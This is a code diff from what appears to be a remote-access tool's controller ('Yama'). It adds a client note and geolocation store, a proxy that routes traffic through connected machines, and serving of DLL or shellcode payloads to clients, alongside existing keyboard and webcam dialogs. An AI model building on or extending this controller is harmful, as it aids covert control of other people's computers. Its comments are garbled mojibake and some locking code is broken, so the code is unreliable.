{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><>ע", 150 },
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ", 120 },
{"CPU", 80 },
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ", 72 },
{"PING", 100 },
{"<EFBFBD>", 80 },
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", 150 },
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ", 70 },
{"PING", 70 },
{"<EFBFBD>", 90 },
{"<EFBFBD><EFBFBD>װʱ<EFBFBD><EFBFBD>", 120 },
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", 140 },
{"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", 50 },
};
@@ -97,6 +86,52 @@ static UINT Indicators[] =
IDR_STATUSBAR_STRING
};
//////////////////////////////////////////////////////////////////////////
// <20><><EFBFBD><EFBFBD> unordered_map <20><><EFBFBD>ļ<EFBFBD>
void SaveToFile(const ComputerNoteMap& data, const std::string& filename)
{
std::ofstream outFile(filename, std::ios::binary); // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ģʽ<C4A3><CABD>
if (outFile.is_open()) {
for (const auto& pair : data) {
outFile.write(reinterpret_cast<const char*>(&pair.first), sizeof(ClientKey)); // <20><><EFBFBD><EFBFBD> key
int valueSize = pair.second.GetLength();
outFile.write(reinterpret_cast<const char*>(&valueSize), sizeof(int)); // <20><><EFBFBD><EFBFBD> value <20>Ĵ<EFBFBD>С
outFile.write((char*)&pair.second, valueSize); // <20><><EFBFBD><EFBFBD> value <20>ַ<EFBFBD><D6B7><EFBFBD>
}
outFile.close();
}
else {
Mprintf("Unable to open file '%s' for writing!\n", filename.c_str());
}
}
// <20><><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>ȡ unordered_map <20><><EFBFBD><EFBFBD>
void LoadFromFile(ComputerNoteMap& data, const std::string& filename)
{
std::ifstream inFile(filename, std::ios::binary); // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ģʽ<C4A3><CABD>
if (inFile.is_open()) {
while (inFile.peek() != EOF) {
ClientKey key;
inFile.read(reinterpret_cast<char*>(&key), sizeof(ClientKey)); // <20><>ȡ key
int valueSize;
inFile.read(reinterpret_cast<char*>(&valueSize), sizeof(int)); // <20><>ȡ value <20>Ĵ<EFBFBD>С
ClientValue value;
inFile.read((char*)&value, valueSize); // <20><>ȡ value <20>ַ<EFBFBD><D6B7><EFBFBD>
data[key] = value; // <20><><EFBFBD>뵽 map <20><>
}
inFile.close();
}
else {
Mprintf("Unable to open file '%s' for reading!\n", filename.c_str());
}
}
//////////////////////////////////////////////////////////////////////////
class CAboutDlg : public CDialogEx
{
public:
@@ -139,6 +174,8 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent): CDial
m_bmOnline[1].LoadBitmap(IDB_BITMAP_UPDATE);
m_bmOnline[2].LoadBitmap(IDB_BITMAP_DELETE);
m_bmOnline[3].LoadBitmap(IDB_BITMAP_SHARE);
m_bmOnline[4].LoadBitmap(IDB_BITMAP_PROXY);
m_bmOnline[5].LoadBitmap(IDB_BITMAP_HOSTNOTE);
InitializeCriticalSection(&m_cs);
}
@@ -201,11 +238,14 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_MESSAGE(WM_OPENWEBCAMDIALOG, OnOpenVideoDialog)
ON_MESSAGE(WM_HANDLEMESSAGE, OnHandleMessage)
ON_MESSAGE(WM_OPENKEYBOARDDIALOG, OnOpenKeyboardDialog)
ON_MESSAGE(WM_OPENPROXYDIALOG, OnOpenProxyDialog)
ON_MESSAGE(WM_UPXTASKRESULT, UPXProcResult)
ON_WM_HELPINFO()
ON_COMMAND(ID_ONLINE_SHARE, &CMy2015RemoteDlg::OnOnlineShare)
ON_COMMAND(ID_TOOL_AUTH, &CMy2015RemoteDlg::OnToolAuth)
ON_COMMAND(ID_TOOL_GEN_MASTER, &CMy2015RemoteDlg::OnToolGenMaster)
ON_COMMAND(ID_MAIN_PROXY, &CMy2015RemoteDlg::OnMainProxy)
ON_COMMAND(ID_ONLINE_HOSTNOTE, &CMy2015RemoteDlg::OnOnlineHostnote)
END_MESSAGE_MAP()
@@ -380,29 +420,44 @@ std::vector<CString> SplitCString(CString strData) {
VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS,
CString strCPU, CString strVideo, CString strPing, CString ver, CString st, CString tp, CONTEXT_OBJECT* ContextObject)
CString strCPU, CString strVideo, CString strPing, CString ver,
CString startTime, const std::vector<std::string>& v, CONTEXT_OBJECT * ContextObject)
{
EnterCriticalSection(&m_cs);
if (IsExitItem(m_CList_Online, (ULONG_PTR)ContextObject)) {
LeaveCriticalSection(&m_cs);
Mprintf(CString("===> '") + strIP + CString("' already exist!!\n"));
OutputDebugStringA(CString("===> '") + strIP + CString("' already exist!!\n"));
return;
}
//Ĭ<><C4AC>Ϊ0<CEAA><30> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int i = m_CList_Online.InsertItem(m_CList_Online.GetItemCount(),strIP);
auto vec = SplitCString(tp.IsEmpty() ? "DLL" : tp);
tp = vec[0];
m_CList_Online.SetItemText(i,ONLINELIST_ADDR,strAddr);
m_CList_Online.SetItemText(i,ONLINELIST_COMPUTER_NAME,strPCName);
m_CList_Online.SetItemText(i,ONLINELIST_OS,strOS);
m_CList_Online.SetItemText(i,ONLINELIST_CPU,strCPU);
m_CList_Online.SetItemText(i,ONLINELIST_VIDEO,strVideo);
m_CList_Online.SetItemText(i,ONLINELIST_PING,strPing);
m_CList_Online.SetItemText(i, ONLINELIST_VERSION, ver);
m_CList_Online.SetItemText(i, ONLINELIST_LOGINTIME, st);
m_CList_Online.SetItemText(i, ONLINELIST_CLIENTTYPE, tp.IsEmpty()?"DLL":tp);
CString data[10] = { strIP, strAddr,strPCName,strOS,strCPU,strVideo,strPing,ver,st,tp };
LeaveCriticalSection(&m_cs);
CString install = v[6].empty() ? "?" : v[6].c_str(), path = v[4].empty() ? "?" : v[4].c_str();
CString data[ONLINELIST_MAX] = { strIP, strAddr, "", strPCName, strOS, strCPU, strVideo, strPing,
ver, install, startTime, v[0].empty() ? "?" : v[0].c_str(), path };
auto id = CONTEXT_OBJECT::CalculateID(data);
bool modify = false;
CString loc = GetClientMapData(id, MAP_LOCATION);
if (loc.IsEmpty()) {
loc = GetGeoLocation(data[ONLINELIST_IP].GetString()).c_str();
if (!loc.IsEmpty()) {
modify = true;
SetClientMapData(id, MAP_LOCATION, loc);
}
}
data[ONLINELIST_LOCATION] = loc;
ContextObject->SetClientInfo(data);
ContextObject->SetID(id);
EnterCriticalSection(&m_cs);
if (modify)
SaveToFile(m_ClientMap, DB_FILENAME);
auto& m = m_ClientMap[ContextObject->ID];
int i = m_CList_Online.InsertItem(m_CList_Online.GetItemCount(), strIP);
for (int n = ONLINELIST_ADDR; n <= ONLINELIST_CLIENTTYPE; n++) {
n == ONLINELIST_COMPUTER_NAME ?
m_CList_Online.SetItemText(i, n, m.GetNote()[0] ? m.GetNote() : data[n]) :
m_CList_Online.SetItemText(i, n, data[n].IsEmpty() ? "?" : data[n]);
}
m_CList_Online.SetItemData(i,(DWORD_PTR)ContextObject);
ShowMessage(true,strIP+"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
@@ -478,6 +533,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>...<2E><><EFBFBD>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD>ϵͳ<CFB5>˵<EFBFBD><CBB5>С<EFBFBD>
SetWindowText(_T("Yama"));
LoadFromFile(m_ClientMap, DB_FILENAME);
// IDM_ABOUTBOX <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3><EFBFBD>Χ<EEB7B6>ڡ<EFBFBD>
ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
@@ -786,6 +842,8 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
Menu.SetMenuItemBitmaps(ID_ONLINE_UPDATE, MF_BYCOMMAND, &m_bmOnline[1], &m_bmOnline[1]);
Menu.SetMenuItemBitmaps(ID_ONLINE_DELETE, MF_BYCOMMAND, &m_bmOnline[2], &m_bmOnline[2]);
Menu.SetMenuItemBitmaps(ID_ONLINE_SHARE, MF_BYCOMMAND, &m_bmOnline[3], &m_bmOnline[3]);
Menu.SetMenuItemBitmaps(ID_MAIN_PROXY, MF_BYCOMMAND, &m_bmOnline[4], &m_bmOnline[4]);
Menu.SetMenuItemBitmaps(ID_ONLINE_HOSTNOTE, MF_BYCOMMAND, &m_bmOnline[5], &m_bmOnline[5]);
SubMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this);
*pResult = 0;
@@ -1218,6 +1276,11 @@ VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
Dlg->OnReceiveComplete();
break;
}
case PROXY_DLG: {
CProxyMapDlg* Dlg = (CProxyMapDlg*)ContextObject->hDlg;
Dlg->OnReceiveComplete();
break;
}
default: {
HANDLE hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
if (hEvent == NULL) {
@@ -1276,6 +1339,11 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
}
switch (ContextObject->InDeCompressedBuffer.GetBYTE(0))
{
case COMMAND_PROXY:
{
g_2015RemoteDlg->SendMessage(WM_OPENPROXYDIALOG, 0, (LPARAM)ContextObject);
break;
}
case TOKEN_HEARTBEAT: case 137:
UpdateActiveWindow(ContextObject);
break;
@@ -1285,7 +1353,11 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
int typ = (len > 2 ? ContextObject->InDeCompressedBuffer.GetBYTE(2) : MEMORYDLL);
bool isRelease = len > 3 ? ContextObject->InDeCompressedBuffer.GetBYTE(3) : true;
int connNum = 0;
if (typ == SHELLCODE) {
Mprintf("===> '%s' Request SC [is64Bit:%d isRelease:%d]\n", ContextObject->RemoteAddr().c_str(), is64Bit, isRelease);
} else {
Mprintf("===> '%s' Request DLL [is64Bit:%d isRelease:%d]\n", ContextObject->RemoteAddr().c_str(), is64Bit, isRelease);
}
char version[12] = {};
ContextObject->InDeCompressedBuffer.CopyBuffer(version, 12, 4);
SendServerDll(ContextObject, is64Bit);
@@ -1414,8 +1486,8 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
strVideo = m_settings.DetectSoftware ? "<EFBFBD><EFBFBD>" : LoginInfor->bWebCamIsExist ? "<EFBFBD><EFBFBD>" : "<EFBFBD><EFBFBD>";
strAddr.Format("%d", nSocket);
AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,LoginInfor->moduleVersion,LoginInfor->szStartTime,
LoginInfor->szReserved,ContextObject);
auto v = LoginInfor->ParseReserved(10);
AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,LoginInfor->moduleVersion,LoginInfor->szStartTime, v, ContextObject);
delete LoginInfor;
return S_OK;
}catch(...){
@@ -1540,7 +1612,6 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) {
m_CList_Online.SetItemText(i, ONLINELIST_LOGINTIME, hb.ActiveWnd);
if (hb.Ping > 0)
m_CList_Online.SetItemText(i, ONLINELIST_PING, std::to_string(hb.Ping).c_str());
if (m_settings.DetectSoftware)
m_CList_Online.SetItemText(i, ONLINELIST_VIDEO, hb.HasSoftware ? "<EFBFBD><EFBFBD>" : "<EFBFBD><EFBFBD>");
return;
}
@@ -1753,6 +1824,20 @@ LRESULT CMy2015RemoteDlg::OnOpenKeyboardDialog(WPARAM wParam, LPARAM lParam)
return 0;
}
LRESULT CMy2015RemoteDlg::OnOpenProxyDialog(WPARAM wParam, LPARAM lParam)
{
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam;
CProxyMapDlg* Dlg = new CProxyMapDlg(this, m_iocpServer, ContextObject);
Dlg->Create(IDD_PROXY, GetDesktopWindow());
Dlg->ShowWindow(SW_SHOW);
ContextObject->v1 = PROXY_DLG;
ContextObject->hDlg = Dlg;
return 0;
}
BOOL CMy2015RemoteDlg::OnHelpInfo(HELPINFO* pHelpInfo)
{
MessageBox("Copyleft (c) FTU 2025", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
@@ -1803,6 +1888,55 @@ void CMy2015RemoteDlg::OnToolAuth()
dlg.DoModal();
}
void CMy2015RemoteDlg::OnMainProxy()
{
EnterCriticalSection(&m_cs);
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
while (Pos)
{
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
BYTE cmd[] = { COMMAND_PROXY };
m_iocpServer->OnClientPreSending(ContextObject, cmd, sizeof(cmd));
break;
}
LeaveCriticalSection(&m_cs);
}
void CMy2015RemoteDlg::OnOnlineHostnote()
{
CInputDialog dlg(this);
dlg.Init("<EFBFBD>޸ı<EFBFBD>ע", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע: ");
if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty()) {
return;
}
if (dlg.m_str.GetLength() >= 64) {
MessageBox("<EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD>Ȳ<EFBFBD><EFBFBD>ܳ<EFBFBD><EFBFBD><EFBFBD>64<EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD>", "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
dlg.m_str = dlg.m_str.Left(63);
}
BOOL modified = FALSE;
uint64_t key = 0;
EnterCriticalSection(&m_cs);
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
while (Pos) {
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
auto f = m_ClientMap.find(ContextObject->ID);
if (f == m_ClientMap.end())
m_ClientMap[ContextObject->ID] = ClientValue("", dlg.m_str);
else
m_ClientMap[ContextObject->ID].UpdateNote(dlg.m_str);
m_CList_Online.SetItemText(iItem, ONLINELIST_COMPUTER_NAME, dlg.m_str);
modified = TRUE;
}
LeaveCriticalSection(&m_cs);
if (modified) {
EnterCriticalSection(&m_cs);
SaveToFile(m_ClientMap, DB_FILENAME);
LeaveCriticalSection(&m_cs);
}
}
char* ReadFileToBuffer(const std::string &path, size_t& outSize) {
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>

View File

@@ -13,6 +13,60 @@
// <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD>ض<EFBFBD>ʱҲ<CAB1>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
#define CLIENT_EXIT_WITH_SERVER 0
//////////////////////////////////////////////////////////////////////////
#include <unordered_map>
#include <fstream>
#define DB_FILENAME "./YAMA.db"
enum {
MAP_NOTE,
MAP_LOCATION,
};
struct _ClientValue
{
char Note[64];
char Location[64];
char Reserved[128]; // Ԥ<><D4A4>
_ClientValue() {
memset(this, 0, sizeof(_ClientValue));
}
_ClientValue(const CString& loc, const CString& s) {
memset(this, 0, sizeof(_ClientValue));
strcpy_s(Note, s.GetString());
strcpy_s(Location, loc.GetString());
}
void UpdateNote(const CString& s) {
strcpy_s(Note, s.GetString());
}
void UpdateLocation(const CString& loc) {
strcpy_s(Location, loc.GetString());
}
const char* GetNote() const {
return Note;
}
const char* GetLocation() const {
return Location;
}
int GetLength() const {
return sizeof(_ClientValue);
}
};
typedef uint64_t ClientKey;
typedef _ClientValue ClientValue;
typedef std::unordered_map<ClientKey, ClientValue> ComputerNoteMap;
// <20><><EFBFBD><EFBFBD> unordered_map <20><><EFBFBD>ļ<EFBFBD>
void SaveToFile(const ComputerNoteMap& data, const std::string& filename);
// <20><><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>ȡ unordered_map <20><><EFBFBD><EFBFBD>
void LoadFromFile(ComputerNoteMap& data, const std::string& filename);
//////////////////////////////////////////////////////////////////////////
enum
{
PAYLOAD_DLL_X86 = 0, // 32λ DLL
@@ -23,6 +77,43 @@ enum
// CMy2015RemoteDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
class CMy2015RemoteDlg : public CDialogEx
{
protected:
ComputerNoteMap m_ClientMap;
CString GetClientMapData(ClientKey key, int typ) {
EnterCriticalSection(&m_cs);
auto f = m_ClientMap.find(key);
CString r;
if (f != m_ClientMap.end()) {
switch (typ)
{
case MAP_NOTE:
r = f->second.GetNote();
break;
case MAP_LOCATION:
r = f->second.GetLocation();
break;
default:
break;
}
}
EnterCriticalSection(&m_cs);
return r;
}
void SetClientMapData(ClientKey key, int typ, const char* value) {
EnterCriticalSection(&m_cs);
switch (typ)
{
case MAP_NOTE:
m_ClientMap[key].UpdateNote(value);
break;
case MAP_LOCATION:
m_ClientMap[key].UpdateLocation(value);
break;
default:
break;
}
EnterCriticalSection(&m_cs);
}
// <20><><EFBFBD><EFBFBD>
public:
CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent = NULL); // <20><>׼<EFBFBD><D7BC><EFBFBD><EFBFBD><ECBAAF>
@@ -48,8 +139,8 @@ public:
VOID InitControl(); //<2F><>ʼ<EFBFBD>ؼ<EFBFBD>
VOID TestOnline(); //<2F><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD>
VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS,
CString strCPU, CString strVideo, CString strPing, CString ver, CString st, CString tp, CONTEXT_OBJECT* ContextObject);
VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing,
CString ver, CString startTime, const std::vector<std::string> &v, CONTEXT_OBJECT* ContextObject);
VOID ShowMessage(BOOL bOk, CString strMsg);
VOID CreatStatusBar();
VOID CreateToolBar();
@@ -79,7 +170,7 @@ public:
CRITICAL_SECTION m_cs;
BOOL isClosed;
CMenu m_MainMenu;
CBitmap m_bmOnline[4];
CBitmap m_bmOnline[6];
bool CheckValid();
afx_msg void OnTimer(UINT_PTR nIDEvent);
afx_msg void OnClose();
@@ -119,10 +210,14 @@ public:
afx_msg LRESULT OnOpenVideoDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnHandleMessage(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenKeyboardDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenProxyDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT UPXProcResult(WPARAM wParam, LPARAM lParam);
afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo);
virtual BOOL PreTranslateMessage(MSG* pMsg);
afx_msg void OnOnlineShare();
afx_msg void OnToolAuth();
afx_msg void OnToolGenMaster();
afx_msg void OnMainProxy();
afx_msg void OnOnlineHostnote();
};

View File

@@ -74,34 +74,33 @@
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(SolutionDir);$(LibraryPath)</LibraryPath>
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir);$(SolutionDir)common;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(SolutionDir);$(LibraryPath)</LibraryPath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(SolutionDir);$(LibraryPath)</LibraryPath>
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir);$(SolutionDir)common;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(SolutionDir);$(LibraryPath)</LibraryPath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(SolutionDir);$(LibraryPath)</LibraryPath>
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(SolutionDir);$(LibraryPath)</LibraryPath>
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir);$(SolutionDir)common;$(IncludePath)</IncludePath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(SolutionDir);$(LibraryPath)</LibraryPath>
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter\lib;$(SolutionDir);$(LibraryPath)</LibraryPath>
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)..\SimpleRemoter\compress;$(SolutionDir)..\SimpleRemoter;$(ProjectDir);$(SolutionDir)common;$(IncludePath)</IncludePath>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions>WIN32;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;HPSOCKET_STATIC_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<MinimalRebuild>false</MinimalRebuild>
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<LanguageStandard>Default</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
@@ -126,11 +125,10 @@
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions>WIN32;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;HPSOCKET_STATIC_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<MinimalRebuild>false</MinimalRebuild>
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<LanguageStandard>Default</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
@@ -155,12 +153,11 @@
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MinSpace</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PreprocessorDefinitions>WIN32;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions>WIN32;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;HPSOCKET_STATIC_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<StringPooling>true</StringPooling>
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<LanguageStandard>Default</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
@@ -188,12 +185,11 @@
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MinSpace</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PreprocessorDefinitions>WIN32;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions>WIN32;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;HPSOCKET_STATIC_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<StringPooling>true</StringPooling>
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<LanguageStandard>Default</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
@@ -215,12 +211,8 @@
</ResourceCompile>
</ItemDefinitionGroup>
<ItemGroup>
<None Include="..\..\Release\ghost.exe" />
<None Include="..\..\Release\ServerDll.dll" />
<None Include="..\..\Release\TestRun.exe" />
<None Include="..\..\x64\Release\ghost.exe" />
<None Include="..\..\x64\Release\ServerDll.dll" />
<None Include="..\..\x64\Release\TestRun.exe" />
<None Include="res\1.cur" />
<None Include="res\2.cur" />
<None Include="res\2015Remote.ico" />
@@ -247,7 +239,6 @@
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\..\client\Audio.h" />
<ClInclude Include="..\..\common\commands.h" />
<ClInclude Include="2015Remote.h" />
<ClInclude Include="2015RemoteDlg.h" />
<ClInclude Include="AudioDlg.h" />
@@ -255,6 +246,7 @@
<ClInclude Include="BuildDlg.h" />
<ClInclude Include="CPasswordDlg.h" />
<ClInclude Include="CpuUseage.h" />
<ClInclude Include="DateVerify.h" />
<ClInclude Include="EditDialog.h" />
<ClInclude Include="FileManagerDlg.h" />
<ClInclude Include="FileTransferModeDlg.h" />
@@ -262,6 +254,12 @@
<ClInclude Include="InputDlg.h" />
<ClInclude Include="IOCPServer.h" />
<ClInclude Include="KeyBoardDlg.h" />
<ClInclude Include="parse_ip.h" />
<ClInclude Include="proxy\HPSocket.h" />
<ClInclude Include="proxy\HPTypeDef.h" />
<ClInclude Include="proxy\ProxyConnectServer.h" />
<ClInclude Include="proxy\ProxyMapDlg.h" />
<ClInclude Include="proxy\SocketInterface.h" />
<ClInclude Include="pwd_gen.h" />
<ClInclude Include="RegisterDlg.h" />
<ClInclude Include="Resource.h" />
@@ -294,6 +292,9 @@
<ClCompile Include="InputDlg.cpp" />
<ClCompile Include="IOCPServer.cpp" />
<ClCompile Include="KeyBoardDlg.cpp" />
<ClCompile Include="parse_ip.cpp" />
<ClCompile Include="proxy\ProxyConnectServer.cpp" />
<ClCompile Include="proxy\ProxyMapDlg.cpp" />
<ClCompile Include="pwd_gen.cpp" />
<ClCompile Include="RegisterDlg.cpp" />
<ClCompile Include="ScreenSpyDlg.cpp" />
@@ -318,12 +319,16 @@
<Text Include="..\..\ReadMe.md" />
</ItemGroup>
<ItemGroup>
<Image Include="res\Bitmap\note.bmp" />
<Image Include="res\Bitmap\proxy.bmp" />
<Image Include="res\Bitmap\Share.bmp" />
<Image Include="res\Bitmap_4.bmp" />
<Image Include="res\Bitmap_5.bmp" />
<Image Include="res\delete.bmp" />
<Image Include="res\keyboard.ico" />
<Image Include="res\password.ico" />
